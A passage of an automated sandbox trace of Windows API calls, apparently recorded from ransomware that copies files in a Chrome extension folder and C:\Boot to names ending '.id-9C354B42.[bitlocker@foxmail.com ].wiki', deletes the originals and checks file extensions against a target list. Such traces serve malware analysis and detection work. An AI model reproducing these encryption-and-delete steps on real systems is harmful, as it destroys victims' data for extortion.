HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.322] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.322] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.322] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0181.889] GetLastError () returned 0x0 [0181.889] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x174c, lpOverlapped=0x0) returned 1 [0181.890] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0x1750, lpOverlapped=0x0) returned 1 [0181.891] ReadFile (in: hFile=0x2e0, lpBuffer=0x3f30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.891] WriteFile (in: hFile=0x198, lpBuffer=0x3f30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f30020*, lpNumberOfBytesWritten=0x33dfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0181.891] SetEndOfFile (hFile=0x198) returned 1 [0181.891] CloseHandle (hObject=0x198) returned 1 [0181.892] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.892] SetEndOfFile (hFile=0x2e0) returned 1 [0181.892] CloseHandle (hObject=0x2e0) returned 1 [0181.892] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.893] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html")) returned 1 [0181.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.893] lstrlenW (lpString=".doc") returned 4 [0181.893] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".docx") returned 5 [0181.893] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.893] lstrlenW (lpString=".pdf") returned 4 [0181.893] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".xls") returned 4 [0181.893] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".xlsx") returned 5 [0181.893] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.893] lstrlenW (lpString=".ppt") returned 4 [0181.893] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.893] lstrlenW (lpString=".zip") returned 4 [0181.893] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".rar") returned 4 [0181.893] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".bz2") returned 4 [0181.893] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.893] lstrlenW (lpString=".7z") returned 3 [0181.893] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.893] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.893] lstrlenW (lpString=".dbf") returned 4 [0181.893] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString=".1cd") returned 4 [0181.894] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString=".jpg") returned 4 [0181.894] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString=".doc") returned 4 [0181.894] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".docx") returned 5 [0181.894] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.894] lstrlenW (lpString=".pdf") returned 4 [0181.894] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".xls") returned 4 [0181.894] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".xlsx") returned 5 [0181.894] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.894] lstrlenW (lpString=".ppt") returned 4 [0181.894] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString=".zip") returned 4 [0181.894] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".rar") returned 4 [0181.894] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".bz2") returned 4 [0181.894] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.894] lstrlenW (lpString=".7z") returned 3 [0181.894] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.894] lstrlenW (lpString=".dbf") returned 4 [0181.894] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.894] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.895] lstrlenW (lpString=".1cd") returned 4 [0181.895] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.895] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html") returned 164 [0181.895] lstrlenW (lpString=".jpg") returned 4 [0181.895] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.895] lstrlenW (lpString=".id-") returned 4 [0181.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6816a8 | out: hHeap=0x630000) returned 1 [0181.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ae1e8 | out: hHeap=0x630000) returned 1 [0181.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b50490 | out: hHeap=0x630000) returned 1 [0181.895] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3b60498 | out: hHeap=0x630000) returned 1 [0181.898] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f30020 | out: hHeap=0x630000) returned 1 [0181.902] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x681690 | out: hHeap=0x630000) returned 1 [0181.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681690 [0181.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681690, Size=0x20) returned 0x3bf5d10 [0181.902] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x681690 [0181.902] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x681690, Size=0x20) returned 0x3bf5db0 [0181.902] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0181.994] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0181.994] Wow64DisableWow64FsRedirection (in: OldValue=0x33dff58 | out: OldValue=0x33dff58*=0x1) returned 1 [0181.994] lstrlenW (lpString="kernel32.dll") returned 12 [0181.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5db0 | out: hHeap=0x630000) returned 1 [0181.994] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0181.994] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3bf5d10 | out: hHeap=0x630000) returned 1 Thread: id = 342 os_tid = 0x5a0 [0147.791] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b704a0 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10000) returned 0x3b804a8 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816c0 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6) returned 0x6ae1f8 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816d8 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x4040020 [0147.792] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816f0 [0147.792] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816f0, Size=0x20) returned 0x69e6c0 [0147.793] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x6816f0 [0147.793] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6816f0, Size=0x20) returned 0x69e670 [0147.793] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0147.793] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0147.793] Wow64DisableWow64FsRedirection (in: OldValue=0x351ff58 | out: OldValue=0x351ff58*=0x0) returned 1 [0147.793] lstrlenW (lpString="kernel32.dll") returned 12 [0147.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e6c0 | out: hHeap=0x630000) returned 1 [0147.793] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69e670 | out: hHeap=0x630000) returned 1 [0147.793] Sleep (dwMilliseconds=0x64) [0147.971] lstrcmpiW (lpString1=".ttf", lpString2=".wiki") returned -1 [0147.971] lstrlenW (lpString="kor_boot.ttf") returned 12 [0147.971] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.087] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2371360) returned 1 [0148.087] CloseHandle (hObject=0x1cc) returned 1 [0148.087] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0148.087] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.087] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0148.087] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.087] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.087] lstrlenW (lpString=".doc") returned 4 [0148.087] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.087] lstrlenW (lpString=".docx") returned 5 [0148.087] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.087] lstrlenW (lpString=".pdf") returned 4 [0148.087] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.087] lstrlenW (lpString=".xls") returned 4 [0148.087] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.087] lstrlenW (lpString=".xlsx") returned 5 [0148.087] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.087] lstrlenW (lpString=".ppt") returned 4 [0148.087] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0148.087] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.087] lstrlenW (lpString=".zip") returned 4 [0148.087] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.087] lstrlenW (lpString=".rar") returned 4 [0148.087] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString=".bz2") returned 4 [0148.088] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString=".7z") returned 3 [0148.088] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString=".dbf") returned 4 [0148.088] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString=".1cd") returned 4 [0148.088] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString=".jpg") returned 4 [0148.088] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString=".doc") returned 4 [0148.088] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString=".docx") returned 5 [0148.088] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0148.088] lstrlenW (lpString=".pdf") returned 4 [0148.088] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString=".xls") returned 4 [0148.088] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0148.088] lstrlenW (lpString=".xlsx") returned 5 [0148.088] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0148.088] lstrlenW (lpString=".ppt") returned 4 [0148.088] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0148.088] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.088] lstrlenW (lpString=".zip") returned 4 [0148.088] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0148.088] lstrlenW (lpString=".rar") returned 4 [0148.088] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0148.089] lstrlenW (lpString=".bz2") returned 4 [0148.089] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0148.089] lstrlenW (lpString=".7z") returned 3 [0148.089] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0148.089] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.089] lstrlenW (lpString=".dbf") returned 4 [0148.089] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0148.089] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.089] lstrlenW (lpString=".1cd") returned 4 [0148.089] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0148.089] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0148.089] lstrlenW (lpString=".jpg") returned 4 [0148.089] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0148.089] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.089] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0148.089] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.089] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=93248) returned 1 [0148.089] CloseHandle (hObject=0x1cc) returned 1 [0148.090] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0148.090] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.090] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.090] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.090] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.090] lstrlenW (lpString=".doc") returned 4 [0148.090] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.090] lstrlenW (lpString=".docx") returned 5 [0148.090] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.090] lstrlenW (lpString=".pdf") returned 4 [0148.090] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.090] lstrlenW (lpString=".xls") returned 4 [0148.090] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.090] lstrlenW (lpString=".xlsx") returned 5 [0148.090] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.090] lstrlenW (lpString=".ppt") returned 4 [0148.090] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.090] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.090] lstrlenW (lpString=".zip") returned 4 [0148.090] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.090] lstrlenW (lpString=".rar") returned 4 [0148.090] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.090] lstrlenW (lpString=".bz2") returned 4 [0148.090] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.090] lstrlenW (lpString=".7z") returned 3 [0148.090] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.090] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.090] lstrlenW (lpString=".dbf") returned 4 [0148.090] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.090] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString=".1cd") returned 4 [0148.091] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.091] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString=".jpg") returned 4 [0148.091] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.091] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString=".doc") returned 4 [0148.091] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.091] lstrlenW (lpString=".docx") returned 5 [0148.091] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.091] lstrlenW (lpString=".pdf") returned 4 [0148.091] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.091] lstrlenW (lpString=".xls") returned 4 [0148.091] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.091] lstrlenW (lpString=".xlsx") returned 5 [0148.091] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.091] lstrlenW (lpString=".ppt") returned 4 [0148.091] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.091] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString=".zip") returned 4 [0148.091] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.091] lstrlenW (lpString=".rar") returned 4 [0148.091] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.091] lstrlenW (lpString=".bz2") returned 4 [0148.091] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0148.091] lstrlenW (lpString=".7z") returned 3 [0148.091] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0148.091] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.091] lstrlenW (lpString=".dbf") returned 4 [0148.091] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0148.092] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.092] lstrlenW (lpString=".1cd") returned 4 [0148.092] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0148.092] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0148.092] lstrlenW (lpString=".jpg") returned 4 [0148.092] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0148.092] lstrcmpiW (lpString1=".mui", lpString2=".wiki") returned -1 [0148.092] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0148.092] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0148.092] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=90688) returned 1 [0148.092] CloseHandle (hObject=0x1cc) returned 1 [0148.092] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0148.092] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0148.092] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.092] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.092] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.092] lstrlenW (lpString=".doc") returned 4 [0148.093] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0148.093] lstrlenW (lpString=".docx") returned 5 [0148.093] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0148.093] lstrlenW (lpString=".pdf") returned 4 [0148.093] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0148.093] lstrlenW (lpString=".xls") returned 4 [0148.093] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0148.093] lstrlenW (lpString=".xlsx") returned 5 [0148.093] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0148.093] lstrlenW (lpString=".ppt") returned 4 [0148.093] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0148.093] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0148.093] lstrlenW (lpString=".zip") returned 4 [0148.093] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0148.093] lstrlenW (lpString=".rar") returned 4 [0148.093] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0148.093] lstrlenW 